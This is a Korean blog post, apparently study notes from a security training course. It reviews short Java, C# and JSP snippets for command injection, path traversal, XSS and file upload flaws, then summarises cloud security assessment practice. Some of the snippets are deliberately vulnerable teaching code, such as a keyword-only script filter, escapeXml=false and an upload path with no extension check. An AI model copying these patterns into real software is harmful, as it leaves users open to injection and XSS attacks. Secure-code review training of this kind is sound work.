public static void main(String args[]) throws IOException { List<String> allowedCommands = new ArrayList<String>(); allowedCommands.add("notepad"); allowedCommands.add("calc"); String cmd = args[0]; if (!allowedCommands.contains(cmd)) { System.err.println("Error"); return; } Process ps = null; try { ps = Runtime.getRuntime().exec(cmd); ......
  • 취약점 명 : Cmmand(OS) Injection
  • 취약? 양호? : 양호
  • 사유 : 화이트리스트 기반의 배열로 프로그램 사용을 제한하고 있음
  • 참고) notepad.exe의 악성드로 실행 가능하고, notepad.exe 뒤에 계속해서 실행명령을 내릴 수 있지만 단편적으로 봤을 때는 양호하다고 보는 것이 좋은 것임

8번

string file = Request.QueryString["path"]; if (file != null) { if (file.IndexOf('\\') > -1 || file.IndexOf('/') > -1) { Response.Write("Path Traversal Attack"); } else { File.Delete(file); } }
  • 취약점 명 : 경로순회
  • 취약? 양호? : 양호
  • 사유 : \와 /에 대한 문자열 검증함
  • 참고) URL 인코딩 얘기까지 하기에는 코드가 너무 짧음 / XSS 될 가능성은 있지만 출력구가 없어서 가능성 정도로만 얘기 되어질 것 같음

9번

<% String param = request.getParameter(“param”); if(param != null) { param = param.replaceAll(<script>,””); param = param.replaceAll(</script>,””); } %><p> 제목 : <%=param%></p>
  • 취약점 명 : XSS
  • 취약? 양호? : 취약
  • 사유 : 키워드 필터링 진행중이라 우회 공격 가능함 특수문자 필터링이 안됨

10번

<%@taglibprefix=”c”url=”http://java.sun.com/jsp/jstl/core”%> <%@tagliburi=”http://java.sun.com/jsp/jstl/functions”prefix=”fn”%><c:out value=”${param.name}” escapeXml=false/>
  • 취약점 명 : XSS
  • 취약? 양호? : 취약
  • 사유 : escapeXml = true면 값을 문자열 그대로 노출하고, escapeXml = false이면 스크립트(태그)가 작동하기 때문에 ( JSTL을 통한 C:out을 사용하지만 escapeXml이 false라 취약임)
  • 참고) JSTL : 자바 서버 페이지 표준 태그 라이브러리 / 이걸 사용하고 싶으면 위에 두개를 선언해줘야 함! 밑에 줄은 XSS 출력값을 지정해주는 것인데 escapeXml을 False로 지정하는 순간, 취약해지는 것이 됨

11번

MultipartRequest multi = new MultipartRequest(request,savePath,sizeLimit,"euc-kr",new DefaultFileRenamePolicy()); ...... String fileName=multi.getFilesystemName("filename"); ...... sql="INSERT INTO board(email,r_num,w_date,pwd,content,re_step,re_num,filename)+"values(?,0,sysdate(),?,?,?,?,?)"; PreparedStatement pstmt=con.prepareStatement(sql); pstmt.setString(1,stemail); pstmt.setString(2,stpwd); pstmt.setString(3,stcontent); pstmt.setString(4, stre_step); pstmt.setString(5, stre_num); pstmt.setString(6, fileName); pstmt.executeUpdate(); Thumbnail.create(savePath+"/"+fileName, savePath+"/"+"s_"+fileName, 150);
  • 취약점 명 : 파일 업로드 / SQL Injection
  • 취약? 양호? : 파일업로드는 취약 / SQL Injection은 양호
  • 사유 : 파일 업로드는 확장자나 파일 타입에 관한 검증이 없음 / SQL Injection에 대해서는 PreparedStatement 사용, 데이터 바인딩
 

클라우드 진단

클라우드 진단 Process

  • 대상 정보 요청 : 클라우드 자체는 비용이 드는 작업이므로 진단 기간을 명확히 설정하고, 사용 범위에 대한 정확한 산정이 필요함 / Cloud 관리 계정 발급 요청 필요
  • 보안 진단 수행 : 플랫폼 보안 기술적 진단, 양호 취약 기준 애매한 것은 문서 확인과 체크리스트, 담당자 인터뷰를 통해 정하게 됨 그래서 문서 확인과 체크리스트 진단, 담당자 인터뷰는 관리 측면에서의 취약점 진단임
  • 담당자 전달
  • 보고서 작성 및 취약점 리뷰
  • 취약점 조치 및 이행점검 수행

클라우드 진단 특징

  • 클라우드를 구분하는 기준이 여러가지 있음 (IaaS, PaaS, SaaS, Secas)
  • 이 중 IaaS 기준으로 진단 진행 중 (설정 진단)

- 서버 리소스, 네트워크 리소스, 사용자 리소스, 기타 리소스

  • 유휴 리소스 점검
  • 클라우드 사용자 권한 적정 여부 점검
  • 클라우드 관리 컨설팅 요소 점검

보안그룹과 NACL

  • 보안그룹과 NACL을 유의깊게 봄
보안그룹
NACL
AWS 방화벽
인스턴스 레벨
VPC 전 영역에 대해
좀 더 디테일한 정책들
  • AWS 방화벽은 너무 비싸서 차라리 써드 파티들을 사용하는 경우가 많음

 

'SK 쉴더스 루키즈' 카테고리의 다른 글

모의해킹  (0) 2024.08.13
클라우드 보안 컨설팅 실무  (0) 2024.08.10
클라우드기반 시스템 운영/구축 실무  (0) 2024.08.10
클라우드 보안(2)  (0) 2024.08.10
클라우드 보안(1)  (0) 2024.08.10